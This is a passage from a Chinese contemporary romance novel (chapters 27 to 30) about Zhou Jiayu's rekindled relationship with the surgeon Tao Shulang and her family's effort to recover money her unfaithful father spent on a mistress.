今天,周元明照例在自己的房间里自闭,周家瑜在客厅里吃着有点甜的鲜奶脆片,彭月华在收拾餐桌准备吃饭,桌子上的海虾炖白菜是周家瑜做的,虾是陶舒朗买的,非常新鲜个头也很大,他现在可以算是购物小能手。 这道菜是陶舒朗先会做的,他又手把手教会了周家瑜,至于私厨教学的过程,大厨师傅他很有耐心,把理工男严谨的科学精神带到了厨房里。 陶舒朗有一次去沿海城市开研讨会,酒店的菜单上有这道菜,口感很独特,他当时就记住了这道菜。 周家瑜吃完晚饭就离开父母家,回自己家住。 她在楼下刚停完车,准备下车的时候接到陶舒朗的电话,“你的车需要换一个地方停车。” 他接着解释道,“昨天刮大风,有棵树的树枝快折断了,就在你车位上方。” 重新停车之后,周家瑜上楼,跟往常一样,感应灯一层层地亮起,到了家门口,对面的邻居家门户大开,有人穿着灰色羊绒衫,正倚着门框等着她。 周家瑜上前靠在他的怀里,他把她搂住,在她额头上轻轻地亲了一下,她仰起头勾住他的脖子,在他的嘴唇上接连轻啄了两下。 “你怎么知道我什么时候回来?” “你猜。” 周家瑜在关城的这十多天,除非是陶舒朗上夜班,剩下的时间都是两个人一起度过,晚上呼吸相闻肢体交缠。 不断重复的行为自然地变成了一种习惯。 第27章 第27章有正在谈的对象 周家瑜回江城正常上班,返工的第一天她起晚了,急匆匆地化了一个五分钟的妆容,看着镜子中神采奕奕的自己,还不错。 旁边的盒子里有一条精美的项链,想了想她又盖上了盒子,十几天不上班,开班就戴一条很贵的项链,有点过分。 项链是陶舒朗买的,刚开始她不知道这件事,在民宿第二天醒来,自己的脖子上就戴着这条项链,白贝母加白金。 她戴了一天就摘下来了。 让周元明看到不知道又会引发什么言论。 陶舒朗最近很少加班,之前下班后有时候会留在医院整理没写完的病例,最近大都准点下班,气色看上去很不错。 以前像无情的上班机器,现在越来越像个有血有肉的正常人。 医院里每一天都跟前一天一样忙碌,已经成为一种日常,住院的,来探病人的,陶合莉快中午的时候站在骨科门诊室门口,外面走廊椅子上还候着两三个人在等叫号。 她敲了敲门,陶舒朗正在看病人的检查报告,他抬头,陶合莉冲他晃了晃手中的手机。 一小时后,陶舒朗推开了包间的门。 房间里只有陶合莉一个人,他问道,“松松呢?” “今天中午学校有活动排练,不回家吃了。” 陶舒朗脱下大外套挂在靠墙的衣架上,他里面穿着一件灰棕的羊绒衫,显得人很利落精神,陶合莉问,“你这衣服不错,什么牌子?” 陶舒朗说了牌子,手拿起菜单来看。 “嗯,牌子衣服就是好看,改天我给你姑父买件山寨版的。” 陶合莉自己在单位上班,丈夫李安民自己开了一家贸易公司,主要做非洲纺织品出口,一年下来收入不低。 “姑父现在穿什么码,我给他买一件。” 陶合莉想了想,“你姑父今年胖了不少,越来越放飞自我,我说了他不听,你有机会可以调侃他几句。” 陶舒朗和李安民关系也不错,因为陶合莉非常疼爱侄子,李安民爱屋及乌。 “你给我买一件,跟你这件风格差不多就行,你姑父的不用买了,反正他现在的身材也穿不出什么风格了。” “嗯,我看着买。” 陶合莉提醒了他一句,“你来之前我已经点了,来了就吃,不耽误你上班。” 陶舒朗点了点头,起身去拿茶壶准备给陶合莉续上茶水,羊毛衫的领口随着他的动作露出了脖颈上的某处。 陶合莉像是发现了新大陆,她眨了眨眼,按捺住好奇的神色,“你最近怎么样,有正在谈着的吗?” 陶舒朗静了静,笑了笑后坦诚,“有。” 陶合莉看着他浅笑开心的模样,不知道怎么回事,竟然鼻子发酸眼睛发涩,“这么开心吗,对方是什么样的女孩?” “是个很好的女生,我和她在一起很开心。” “那就好,先好好了解,觉得差不多了就带回家见见家长。” 三年不动凡心的侄子终于谈了对象,陶合莉可太开心了,只恨现在不是晚上,下午还要上班,所以不能开瓶红酒庆祝一下。 她在心里盘算着如何跟陶合敬说这件事。 “你放心,你爸那边我来说,他现在虽然有了新家庭,但是该给你的那份还是一点也不能少。” 陶舒朗刚想说话,陶合莉摆了摆手,“你是小孩子,要听大人的,这事交给我来办。” 三十一岁的“小孩子”感觉有点复杂。 “你爸再婚之前我和他坐下来谈了谈,这件事他是答应过了的。” 陶合莉只比陶舒朗大十几岁,不像姑姑倒像姐姐,关宴青去世之后,对陶舒朗来说她更像母亲一样的存在。 吃完饭后陶合莉回到班上,一看时间还不到上班的点,她准备找个会议室沙发眯一会。 不知道是不是认床还是沙发躺着不舒服,她闭着眼睛但身体却迟迟没有睡意。 她想起三年前的一件事。 当时关宴青生病已经在化疗阶段,陶合莉自己和她的关系是不错,但是跟陶舒朗的关系更好。 当时是夏天,下班回去的路上陶合莉接到陶合敬的电话,才听说陶舒朗和大学谈的女朋友刚刚分手的事,再加上关宴青的病,陶合敬很担心他,想让陶合莉去看看陶舒朗。 他自己已经有两天没见到他了,打电话也不接,也没住在家里给他买的房子里。 陶合莉给陶舒朗打到第二个电话才接通,电话那边的人说话声音像透过砂纸,像是在喉咙缝隙挤出来的气音。 她努力地辨认了一会,才听出和她通话的人确实是陶舒朗。 等陶合莉坚持要上门去见他后,见到他人才真正的大吃一惊。 陶舒朗在短短的时间内肉眼可见地消瘦了不少。 他脸色苍白地站在门口,陶合莉看了看屋内,房间还算整洁,打开冰箱看了看,只有鸡蛋和饮用水,鸡蛋都没拆封。 进厨房看了看炉灶,好像一直没有开过火的样子。 陶合莉看着他的样子,一股强烈的酸涩涌上鼻腔,她努力控制住自己的情绪,深呼吸了几次把情绪强压了下去,只问他,“饿不饿?” 陶舒朗安静地坐在沙发上,她人虽然也在房间内,但却感觉这里像一座无人的孤岛,与世隔绝,里面有一个正在失恋的人。 还失去了食欲,正在以惊人的速度消瘦。 “我去买点东西,你先睡一会。” 陶合莉下了楼给陶合敬通了电话说明了情况,兄妹两个在电话两头各自无言。 陶合莉拎着两大只袋子回来,本以为陶舒朗在补觉,因为他脸色看上去像是一直没睡,但这会他正在拿着拖把拖地,把地板擦得一干二净。 陶合莉刚从外面回来,这里又没有她的拖鞋,她一进来就带进来一串脚印。 陶舒朗不说话,只是拿拖把跟在她后面把脚印再一一擦掉。 陶合莉端着一碗馄饨从厨房里 出来,馄饨是刚从超市买的,纯素馅的,陶舒朗坐在餐桌旁,低头看着碗里的热气,拿起汤匙捞起一只吹了吹,食物刚递到嘴边他又放下了汤匙。 陶舒朗扭头看着站在自己身旁的陶合莉,“姑姑,你先回去吧,谢谢你今天来看我。” 他又加了一句,“我现在只想一个人静一静。” 陶合莉走之前拍了拍他的肩膀,“不管发生什么事,都先要照顾好自己的身体。” 陶舒朗点点头,“我知道。” 陶合莉走之后,陶舒朗看了看自己的左手,上面是输液后留下的一个针孔。 他自己最近失眠得厉害,整夜整夜地睡不着,身体很疲惫想要休息,但大脑却很清醒,他一直在想一个人,想他们过去的点点滴滴,想他们的未来。 是了,没有未来了,自己已经和她分手了。 前天晚上,在密闭的空间内清醒地意识到这件事,让他难以忍受,他拿起钥匙和手机离开房间下了楼,他没开车,在夏天的深夜里,在几乎空无一人的街道上一直走着,一直走到了某个小区内,他站在楼下路边,借着旁边的路灯,木然地盯着三楼的两扇窗户看。 不知道看了多长时间,他又转身离开,他在街道上继续来来回回地走着,一直走到天亮。 他不觉得累,也不觉得饿,就是有点想吐。 他不知道自己当时走到了哪条路上,摸了摸冰凉的胳膊,只见初升的朝阳从高高的居民楼身后绕出来,刺眼的晨光照在自己的脸上。 眼前一亮接着就是大片的黑暗,他感觉全世界在转,在围绕着自己转。 整个世界向他扑面而来,他身子一歪,倒了下去。 醒来发现自己正躺在医院病床上打点滴,急诊医生当时正站在床尾处写东西,见他醒来说他这是严重虚脱,负责输液的护士在一旁讲,一个早起晨练的路人发现他倒在路边不省人事,怎么叫都不应的那种,就打了急救电话,还一起跟到医院交了费用,但没有留下姓名和联系方式就离开了。 陶舒朗在医院打完点滴身上恢复了气力就回了家,但他还是睡不着,一直如困兽一样待在自己的牢笼里。 两个人分手后,微信和手机号都还在,聊天记录也还在,只是记录停留在不久前。 * 陶舒朗和陶合莉吃完午饭后,走着回了医院,边走边和周家瑜语音聊天,嘴角挂着自己都没察觉到的笑意。 回到科室,气氛有点凝重,办公室里桌椅横七竖八,地面上还散落着不少纸张,像是发生了一场地震或者有劫匪路过。 陶舒朗脱下外套,换上衣服,俯身开始收拾散乱的桌椅和掉落的纸张。 一会一个同事进来,“你刚才幸好不在,”接着她压低声音,“高主任的对象带着几个亲戚来办公室找他。” 在同事的补充中,原来高主任喜欢上了一个在酒吧上班的女孩,给对方花了不少钱,给她租房,把自己刚换的新车给她开,还给她买了不少衣服和首饰。 一群人气势汹汹地来堵人的时候,正好碰到高主任在他们办公室聊天,婚外恋正甜情蜜意,他最近在班上也春风得意,正聊得开心。 女方像是从天而降,当着办公室一众同事的面直接揭穿他的好色和虚伪,高主任脸上青白交加,气急败坏地吼让她发疯也要注意场合,直到他对象把他和别人在车上热吻的照片甩到他那张油光满面的胖脸上。 现场登时一片混乱。 收拾完陶舒朗坐在电脑前,打开电脑准备继续写病历,他突然想起大学时周家瑜转发给自己的一个帖子链接。 标题好像是最不能嫁的十个职业,其中外科医生名列前茅。 理由,忙,没时间陪家人,上班时间不规律,有钱,容易出轨。 其中还有一条细节,说外科医生容易二婚,头婚对象和自己学历相当,家庭背景门当户对,二婚开始放飞自我,职业不限,只要开心。 周家瑜当时让他仔细看看这个帖子,两个人晚上吃饭的时候聊起这个话题,陶舒朗说这种帖子本身就带着职业偏见,看看当做消遣可以,不能当真。 热恋中,周家瑜有时候无聊会测试陶舒朗的忠贞,“如果有一天你要出轨呢?” 陶舒朗正在给她夹菜,一脸平静和理所当然,“和谁出轨,和你出吗?” “我整天忙着和你在一起,没时间出轨。” 情窦初开时,即使聊一些无意义没营养的内容也会让人发自内心的开心,他记得,当时周家瑜用手轻轻地挠了挠他有点胡茬的下巴,然后看了看四周,确定没人在看的时候,翘起形状好看的嘴唇,给了自己一个隔空飞吻。 啵的一声。 第28章 第28章长夜 陶舒朗周末去江城参加学术研讨会,他提前一天去,住在了周家瑜家里,江城很大,周家瑜家距离会场开车需要一个小时。 他没和同事们一起坐高铁,自己开车去了江城,陶舒朗站在门口敲门,周家瑜给他开门的时候怀里抱着一个热水袋。 他进门去卫生间洗完手后出来抱她,“肚子疼吗?” “不疼,就是感觉有点酸胀。” 闻言他把手贴在她的小腹上,力道适中地开始揉了起来,这会两个人一起坐在沙发上,陶舒朗坐着,周家瑜向后靠在他的怀里,他的胳膊把她圈住。 周家瑜感叹,“好舒服。” “中医真的造福人类。” 开会的两天陶舒朗白天在会场听讲座,晚上开车回周家瑜家,两个人一起做饭,周家瑜打下手,主要是陶舒朗做饭。 平时他有时候喜欢看烘焙视频还有做饭视频解压,看到好吃的还会发给周家瑜,问,“觉得好不好吃,要不要试试?” 总体来说他是个勇于探索,行动力很强的厨师。 周末因为天气冷,两个人窝在家里,一天准时吃三顿,中间还有温补的糖水供应。 对于周家瑜来说,她已经适应了独居,晓得一个人要过上普通的体面生活需要付出不少努力,现在陶舒朗的出现把自己的生活变得更有滋有味起来。 参加研讨会的文章同事交代给陶舒朗来写,陶舒朗在周家瑜家的小书房整理资料,下午的阳光透过纱帘照进来,周家瑜脚上穿着保暖的长袜,窝在他身后的藤椅上,在旁边用汤匙喝着糖水。 陶舒朗在键盘上敲着字,普通的工作日常突然变得不一样。 周家瑜吃完糖水,正想起身去洗碗的时候,陶舒朗跟后背长眼睛一样,“你把碗放着,一会我去洗,你现在不要沾凉水。” 周家瑜内心咋舌,回想了一下,只有小时候父母才会这么娇惯自己,自己被这样惯着可不是什么好事情,她去厨房把碗和汤匙洗干净。 擦干手,她环顾了一下厨房,陶舒朗来住的时候,厨房好像都不是自己的了,说不清哪里变了。 在江城工作后,周家瑜一直是租房住,中间搬过三次家,搬家过程太过繁琐,所以周家瑜日常生活中都会注意不给自己添置可有可无的东西。 一想到再次搬家可能会遇到的情况,她都会及时拔草,毕竟有时候不买也是省到。 现在陶舒朗只要休假就会来江城,平时经常给周家瑜邮寄一些东西。周家瑜这会看着厨房台面上大大小小的摆放整齐的厨房用具和小家电,才发现真的多了不少东西。 以前她也在认真过日子,但现在明显有了一种生活水平在改善的感觉。 后知后觉。 她站在客厅里透过窗户看着对面的居民楼,因为楼间距不是很远,晚上一窗窗发白或者暖黄的灯光亮起,像大千世界里的娃娃屋。 她就站在那里看着,好像什么也不 用想,像极了过去三年里的某个剪影。 突然她后背一热,有人贴上自己的后背,把她搂在怀里,陶舒朗身上带着好闻的味道,他低头嗅了嗅周家瑜的头发,并亲了亲她的头顶。 “在看什么?” “在看对面楼。” 陶舒朗认真地在问,“有什么?” “刚才有人不拉窗帘亲热。” “奥,拍下来了吗?” “看得太专注,忘记了。” 陶舒朗低头在她的脸上重重地香了一记,“下次记得喊我。” 周家瑜没告诉陶舒朗的是,对面楼上,应该和自己是同一个楼层,住着一个比较胖的男人,周家瑜从没见过他本人,只是目睹过不少次他的身体轮廓。 这个男的每天晚上都会洗澡,冬天天冷,他家浴室会开浴霸,一开浴霸这扇窗的灯光就会亮很多,在对面一栋楼很多窗户中很是显眼,而他家窗户上贴着磨砂窗纸,在浴霸灯光的加持下,透光也透人。 整体的身体轮廓,搓澡的动作,还有正在洗哪个部位都能看得到。 周家瑜倒不是刻意偷窥,碰到了就看一眼,什么原因呢,她认为对面的微胖男人在认真地生活。 每天认真地洗澡搓澡,好像一种修行,周家瑜在自身混乱的时候观察别人有序的生活可以从中找到一些秩序。 这件有些治愈力的小事,她决定留在自己心中。 半夜时周家瑜醒来,她之前睡眠很差的时候会在四五点钟醒来,然后她会滑开手机,看一两个小时的手机,第二天正常起床上班的话,睡眠时间就会不足。 偶尔她眼压会升高,眼睛即使闭着眼球也会不受控制地左右快速转动,躺在床上都有强烈的眩晕感。 在这个时候她就会告诉自己,真的不要再熬夜,不管有没有睡意,在睡眠时间内,都要躺在床上闭着眼睛。 她最近一段时间睡眠有了明显的改善,今天可能是内急醒来,回到卧室时她手上拿着一杯温水,这是她的日常习惯,起夜就要喝水。 喝完水,她还是没有睡意,她看了看身旁的人,睡得正香。 比起之前空到没有尽头的不眠长夜,这会身边有人,她的心里好像更混乱也更踏实了一点,她伸出手指,触了触他的眉骨。 周家瑜收回手指,水已经喝了,她关掉罩灯躺下准备继续酝酿睡意。 身体得不到充分的休息,人真的很容易就不开心。 她躺下刚闭上眼睛,自己就被人抱在怀里。 人有时候可能不需要很多的爱,一个无声的拥抱就可以。 日子是由一个个的白天和一个个的长夜组成,在这个好像没有什么不一样的长夜里,周家瑜变成了水做的人。 从深夜被人拥抱住的那一刻,她的眼泪不受控制地流了下来。 黑夜里,没有灯光,窗外也漆黑一片,她的眼泪源源不断地流出来,把枕头都打湿了,陶舒朗把她抱在怀里,轻轻地拍着她的背,嘴里发出哄人的呢喃。 不知道过了多长时间,周家瑜情绪平复下来,不想哭了,她突然想撒娇,脸贴着陶舒朗的胸膛,听着他规律的心跳,她伸出手去摸他的脸。 他每天早上都要刮胡子,以前两个人在一起的时候周家瑜也给他刮过胡子,第一次还因为不熟练,他脸上破了两个口子,他丝毫不以为意,还大方地带着爱的“勋章”去见实习导师。 通常晚上的时候陶舒朗的下巴上就会有微小的胡茬,她摸他的下巴会得到一些安慰,这会她去摸他的胡茬,却摸到一手的湿意。 明确地知道有人跟自己一样痛,她心中大恸。 陶舒朗用手覆盖住她在自己下巴上的手,让她的手紧紧贴着自己的脸。 他侧头吻了吻她的手心,又去找她的嘴唇然后贴了贴。 “头痛不痛?” 她有点累,点了点头。 “还想不想哭?” 怀里的人摇了摇头。 她问他,声音有点沙哑,“你还想不想哭?” 他又去亲她的唇瓣,这次在黑暗中精准地找到了位置。 “我看你哭,我就想哭。” “嗯,笑会传染,哭也会传染。” “你说的没错,但是只有你的哭会传染我。” 陶舒朗在医院上班,虽然骨科死亡率不高,但也见惯了人生百态,这种时候他总会抽离自己的情绪,以更专业的方式来处理自己和病患的关系。 毕竟,每个人都有各自的烦恼,不受控制共情太多真的不是福报。 一直以来,最能影响自己情绪的人,就只有周家瑜而已。 半夜卧室的灯又亮了起来,周家瑜的眼睛水润发红,眼皮有些肿,陶舒朗的也好不到哪里去,他红着眼睛,看着周家瑜的红眼睛。 他托住她的脸仔细看了看,“需要敷一下,不然明天会肿。” 陶舒朗出了卧室洗了手,回来的时候手里拿着两个冰袋。 周家瑜靠在床头上,眼睛上敷着冰袋,“明天会不会消肿?” 陶舒朗给她扶着冰袋,“应该会。” “实在不行明天就请假。” 周家瑜听到笑起来,“公司不是我家开的呀,我最近已经请假不少,还是要好好上班。” 陶舒朗在旁边看着她,紧紧握了握她的手。 “我饿了。” 接着她问,“可不可以吃泡面?” 她这会说话带着点上扬的尾音,陶舒朗知道她在跟自己撒娇,他捏了捏她的脸颊,“好,我去煮。” 饿肚子的人又有了新要求,“我要吃三个丸子。” 丸子是陶舒朗买的手打牛肉丸。 夜里三点半,两个人坐在餐桌旁一起吃泡面,不知道是不是因为哭特别耗费体力,今天的泡面尤其好吃。 吃完面陶舒朗让周家瑜去用牙线去漱口,他去洗锅子和碗筷,周家瑜快速漱口后站在厨房门口看着他洗碗。 一个人住的时候她才知道家务永远没有尽头,每天都要做家务,大部分时候做家务都会让周家瑜平静下来,但偶尔她也会懒惰一下,这会她看着陶舒朗有条不紊地做着家务。 真的是百看不厌。 屋里还有泡面的味道,陶舒朗收拾完走到门口关掉厨房的灯,又低头亲了亲她的额头。 “这会困吗?” 周家瑜听到困字不由自主地打了一个哈欠,“还好。” 陶舒朗把手放在她的肩膀上,“走,去睡觉。” 旁边的人一边走一边碎碎念,“想想明天还要上班就不开心。” “为什么会有上班这种东西?” 陶舒朗想了想,“有时候好像不能用道理去解释事情。” “明天不想去我给李牧打电话。” 周家瑜叹了一口气,“我也只是想想而已。” 陶舒朗扭头看着她,脸上不由自主地带着笑意。 卧室门合上,从窗帘透出来的光熄灭,外面是萧瑟的冬日,孤独曾经像今天的月亮一样很饱满。 又是一个夜晚。 第29章 第29章挑破 周家瑜前一阵还在关城的时候,在网上识图搜到了李荣的账号,她是开衣服店的,在网上她自己也在做账号,看日期做的时间不长。 发布的内容就十几条,大多是照片,拍店里的衣服还有在大街上拍的店名,李荣的店周家瑜去过,确定了是她本人的账号,下面评论有几条,大都来自同一个人。 周家瑜点进去看,是个男的,发的内容多是盘串或者出手机视频,她把两个人的账号昵称和ID拍了下来。 周元明脑出血住院之后李荣消失,周家瑜找到的账号后来也没有更新,昨天盘串男的账号更新了一张图片,是一张婴儿的照片,定位在北城。 婴儿用的包被带着特别的花纹,周家瑜在网上搜到了用这种包被的医院,北城妇幼医院。 三天之后,周家瑜收到了李荣在北城目前的住址。 李荣离婚时分到了一套房产,还保住自己的衣服店和女儿的抚养权,但人有时候好像对自己已经拥有的东西并不满足。 她和周元明,一个缺钱的女人,一个想要儿子的男人。 一个月后,已经进入腊月,周家瑜来到北城,她看着眼前的衣服店,一个人的审美是固定的,北城的店跟关城的没有什么区别,像复制粘贴。 透过窗户可以看见店 里有人在用挂烫机熨衣服,店里左右两排挂满了长长短短的衣服,店主正在忙,旁边摇篮里睡着一个小婴儿。 店里的人听到门上的风铃作响,她手里还忙活着,转头看见进来的人,眼前一亮,进来的人是个美女。 这个不是称呼而已,是真的进来一个美女,身材高挑,容貌很美,一看就是衣服架子,看打扮还是不缺钱那种。 店主关掉挂烫机,起身去招呼客人。 客人笑着跟她打招呼,她走到摇篮前,往里看了看,“小孩很可爱。” “男孩还是女孩?” “几个月了?” 周家瑜在店里待了十几分钟,试了几件衣服,店里的试衣镜和灯光自带磨皮效果,她站在镜子前,看着里面有些失真的自己。 耳边是店主不断称赞自己的话。 “你穿这件真好看。” “很有气质。” “很衬肤色。” “怎么长的,身材很好。” 李荣拿起手机问道,“我能不能拍个视频,肯定不会露脸。” 周家瑜笑了笑,看着镜中人也笑了笑。 她笑着看了看旁边拿着手机跃跃欲试的李荣,“不太方便,我比较害羞。” 周家瑜从试衣间里出来,又路过摇篮,“你肯定是个好妈妈。” 李荣因为这句话笑眯眯的,她个子不高,肤色很白,笑起来眼角带着几道细纹,黑发用发夹随意地夹起,散落的头发给她增添了不少女人味,身上穿的衣服很得体。 男人出轨先找男人的错。 周家瑜问她,“你知道周元明结婚了吗?” 李荣的眼睛随即变得慌乱,脸也有些发红。 周家瑜心中有了答案。 她从包里拿出一个纸袋,里面是几页纸,她把纸袋放在柜台上,白色柜台显眼的位置有一只金红相间的招财猫在不断招手,还有一盆好看的绿植,上面还带着水滴喷雾。 互不相欠之后她可以继续岁月静好。 “这是律师列出来的,是周元明和你交往期间的花费,因为他婚内出轨,所以他的配偶有权追回这笔钱。” “你如果有问题请和我们律所联系。” 走之前,她看着身体有些僵硬的李荣,“我们也随时和你保持联系。” 周家瑜在开车回去的路上接到彭月华的电话,因为她在开车,所以母女两个就简单聊了几句。 周元明住院的时候,周家瑜拿到他的手机,他手机密码和店里的电脑密码是同一个,拿到转账记录后,她和彭月华一起咨询了律师,律师让彭月华以配偶的名义追回周元明这些年花在李荣人身上的钱。 把脓疮挑破了,这是好事。 * 打工人即使没有打工魂也要把工作认真地完成,人和工作之间的关系就是这么自虐般的克制。 周家瑜工作进行到一半,站起来休息一会,她站在窗前看着外面有些灰扑扑的天空,坐久了站起来身体不舒展,她把手放在脖子后面轻轻地转头。 后面传来行政部同事的声音,“大家来喝咖啡,今天李总请大家喝星巴克,口味随机。” 顿时办公室里各个方位传来椅子转动推开的声音,大家纷纷起身,去挑选自己喜欢喝的口味。 周家瑜拿到一杯红茶拿铁,她喝了一口,口感很丝滑,再看外面跟刚才没有区别的天空,竟然觉得有些味道起来。 这就是小确幸在生活中发挥的神奇作用。 她手里拿着杯子,隔着玻璃衬着天空拍了一张照片,给陶舒朗发了过去。 “今天有咖啡喝。” 陶舒朗那边很快回了信息,“这个时间还好,不影响晚上睡眠。” 他又问道,“喝到你想喝的口味了吗?” “这个味道不错,红茶加奶永远不会出错。” 中午吃完午饭午睡前,周家瑜都会看一会手机,今天她刷到一个视频,是有人在医院走廊座椅上失去意识,周围人来人往却没人注意到他的不适,直到一个下班的医生路过,发现不对劲,立即对患者进行了心肺复苏。 心肺复苏一直做到急诊医生带着担架飞奔而至,最后患者因为抢救及时转危为安。 视频可能是为了顾及病人和医生隐私,所以像素高糊,只能看到救人的大概,背景音乐有点热血。 周家瑜看完刚想关掉手机休息,手指向下一滑看到视频的标签,#关城市人民医院#,#医生救人#,她睡意消散大半,手指点开评论区。 “就是今天上午的事情,就发生在市医院,医者仁心啊。” “救人的医生确实是我们医院的。”后面跟着大拇指的图标。 周家瑜又看了一遍视频,刚才看着里面的身影莫名地熟悉,这会她确定了,里面救人的下班医生就是陶舒朗。 周家瑜把视频收藏,并转发给了陶舒朗,“今天上午你救了一个人吗?” “嗯,上午太忙还没来得及跟你说。” “很棒,什么感觉?” “就很累,出了一身汗。” 周家瑜又去看评论,发现评论区数量明显增多。 “医生救人的样子真帅!” 有人在这层楼回复了一条评论,“可靠消息,这个医生确实很帅,在医院走廊里遇见过,戴口罩和不戴口罩没有什么区别。” 这层楼迅速地壮大了起来。 楼里已经有人商量好要去关城医院挂骨科看医生了。 其中一条评论,“骨科的帅哥确实多,但是骨折有点疼。” 周家瑜问陶舒朗,“你看评论区了吗?” “没有。” “你未来一段时间工作量可能会增加,因为你好像火了一把。” 陶舒朗那边发来一条,“不要再看评论了,快去午休。” “这会不想睡。” “快点睡,眯一会也管用。” 接下来的日子正如周家瑜预测的那样,陶舒朗的门诊人数明显增加,其中有不少年轻的女孩,关于病症他耐心作答,其他的比如可不可以加微信,这种医院有规定不能加。 有一天早上查房之后,科室主任溜达到他们科室,朴主任个子很高,身材也保持得不错,唯一比较暴露年龄的地方就是他日渐稀少的头发,刚开始他并不在意,因为他觉得自己能力高,又朴实,这才叫返璞归真。 直到有一天不忙去幼儿园接小儿子,被儿子同学叫爷爷,晴天霹雳后,朴主任痛定思痛,斥巨资买了一顶假发,现在他每天戴着,看上去真的年轻了好几岁。 他来科室转肯定是有事情要交代,今天来是为了拍科普短视频的事情,科普视频可以普及健康知识,还可以增加医院曝光率,除了给医生增加工作量之外好处还不少。 他今天来就是请陶舒朗一定要参加科普短视频拍摄,还要在C位,难为朴主任,大儿子都快大学毕业了,还知道C位。 说拍就拍,他们科室很快就定了拍摄主题,因为是骨科,当然要切合主题,最后选了颈椎最喜欢的五个动作。 上报上去,主题可以,但不够吸引人的眼球,有同事听见起哄,一副看热闹不嫌事大的心态,说不然就叫骨科帅哥带你做颈椎操,或者骨科帅哥带你做操。 又是帅哥又是操,办公室内不少人赞成改名。 陶舒朗把之间的曲折讲给周家瑜听。 她觉得很有趣,“所以你们什么时候拍?” “白天在走廊,有个同事试着拍了一段科普问答,结果总有病人来问他,一直被打断,后来他都忘词了。” “你们决定半夜拍吗?” “差不多吧。” “到时候可以把花絮发我看看。” 两天之后,周家瑜收到了剪辑完的短视频,参加拍摄的几位医生虽然戴着口罩,但看着颜值都不低,都比较清爽利落的样子,陶舒朗也参加了拍摄,但不是C位那一个,周家瑜一眼就看到他了, 她照着视频练了一遍,不知道是不是心理作用,真的感觉身体轻松了不少。 医院在各大平台有自己的账号,也建议医院的工作人员多拍摄科普视频,自己开一个账号也可以,有同事建议陶舒朗趁这个机会可以开一个自己的账号。 陶舒朗并不想大众的目光聚焦在自己身上,他只想好好上班,下班后和自己喜欢的人在一起,钱够花,生活舒适,这就可以了。 周家瑜看完他拍的科普视频,还看了看下面的评论,这个没有之前的那个救人视频火。 她给陶舒朗发了一条信息,他一边喝水一边滑开信息。 看到屏幕上的信息,他被水呛了一下,顾不上去擦水,他看了看周围,没有人在看自己,也没有人注意到这边。 他刚才情急一下把手机屏幕关掉了,这会又忍不住去打开,把信息又看了一遍,刚才确实没看错。 周家瑜发来的信息是,“你能不能穿少一点给我专门拍一个颈椎操?” 后面又加了一句,“不穿最好。” 第30章 第30章玫瑰桂圆茶 十天之后彭月华告诉周家瑜自己收到一笔款项。 一件棘手的事情得到解决,清了这笔款项,李荣可以继续岁月静好,周元明可以继续形单影只。 她回复,“那就好。” 过了一会周家瑜手机收到一条短信,是一笔存入通知,她点开一看,尾号是自己的银行卡号,又数了数后面的零,是一笔不小的汇款。 接着彭月华发来一条信息,“我添了些,给你凑个整,你自己留着。” 周家瑜手指快速地在屏幕上点着,“妈,你留着吧,本来就是你的钱,我还年轻,会慢慢攒钱。” 彭月华很快就回复了,“家里就你一个,迟早都是你的,现在你正是需要钱的时候,留着吧。” 周家瑜毕业后留在江城,住处换过几个,她在之前的公司时,更能感受到不同阶层之前的差异,有人进入社会后工作光鲜,有房有车,平时就生活得很舒适,找的对象也门当户对家世不错。 说一点也不羡慕是假的,尤其是雨天或者夏天挤地铁的时候。 周家瑜从小到大一直过得平凡朴素的生活,成年后尤其是参加工作后,接触到繁华世界的边角,精神也会受到冲击。 只是偶尔的冲击,她大部分时候还是安静地过着自己的生活。 看着银行卡余额,她在想需要花多长时间可以再凑个整数。 习惯储蓄的人总是想凑下一个整数。 对于钱,大部分时间她是清醒的,别人再有是别人的,只有钱在自己手里,由自己支配才真的是自己的。 对于有父母托举这件事,在成长过程中,她已经慢慢失去了念想,现在不经意间突然实现了。 周家瑜周末回关城,还有半个月就要过年,她想抽时间和彭月华一起去买年货,每年需要置办的东西大部分都是一样的。 周元明恢复得还不错,他现在大部分时间都在便利店里住,那里生活也便利,重点是彼此都清净,彭月华每天跟他联系一次,确定他安然无恙。 母女两个买完东西,去一家新开的私房菜吃饭,这家店最近比较火,店里装修得古色古香,还配着轻柔的音乐。 彭月华最近状态不错,还做了新发型,看上去很适合她。 “妈,你这是为过年特意做的发型吗?” 彭月华满意地托了托自己的头发,“跟过年没关系,突然就想换个发型了,经过一家店,看着还不错,临时决定的,就走了进去。” 周家瑜问了店名。 已经点完菜,她起身去洗手间。 店装修精致,面积也很大,她在里面七绕八绕,像是穿越到古代的迷宫,过了一会才找到洗手间,回去的路上迎面走来几个人。 一个中年男人怀里抱着一个小孩子,看上去月份不大,女的推着推车,夫妻两个脸上洋溢着为人父母那种幸福的疲惫感。 一家三口后面还走着一个人。 四目相对的一刹那,气氛有一瞬间的凝滞,错身的那几秒,时间好像慢了下来,接着又恢复了正常。 周家瑜听见身后不远处包间开门的声音,她继续向前走着,在想自己会不会顺利找到回去的路。 下一秒她的手腕被人拉住。 她一回头就被人抱在了怀里,周家瑜回抱他,两个人在走廊里静静地相对而立。 因为是在公共场合,走廊里随时有人出现,周家瑜退后想结束这个拥抱,但是陶舒朗不放手,两个人拉扯着进了旁边的一个包间。 屋里没开灯,漆黑一片,周家瑜想去找开关,结果被人捉住双手。 接着唇上一热,她被人搂在怀里吻住。 两个人抱着唇舌交缠,呼吸时重时缓,周家瑜想起包间里的彭月华,用手扭了扭他腰间的肉,陶舒朗嘶得一声停了下来。 他用鼻子去轻碰她的鼻子,周家瑜怀疑他眼睛夜视功能超出常人。 “想不想我?”他声音有些低。 这种情况下,只能说实话,“想。” 周家瑜回到包间的时候彭月华正在看手机,她现在每天有固定的几件事要做,做饭,锻炼身体,打扫房间,看书,还有看视频学习。 周家瑜之前也问过彭月华,她当时说,“婚姻不幸,这个不受自己控制,怎么生活这个自己可以控制。” 周家瑜进来时彭月华看了她一眼接着看手机屏幕,周家瑜有些心虚,她刚才在黑漆漆的包间被人又亲又揉,黑暗好像给了人保护色,几天没见陶舒朗像个色。批。 周家瑜进门之前又拿出手机检查了一下妆容,口红已经花了,她用抽纸把糊掉的口红擦干净。 吃完饭后,彭月华先送周家瑜回她小区,周元明已经搬走有一段时间了,她现在很享受彻底独居的状态。 快到小区门口的时候,周家瑜说想下来走一会。 彭月华看了看时间,才八点多,走之前又叮嘱周家瑜,“转半个小时差不多,就在小区里面转,晚上不要在外面待很长时间,去人多的地方。” 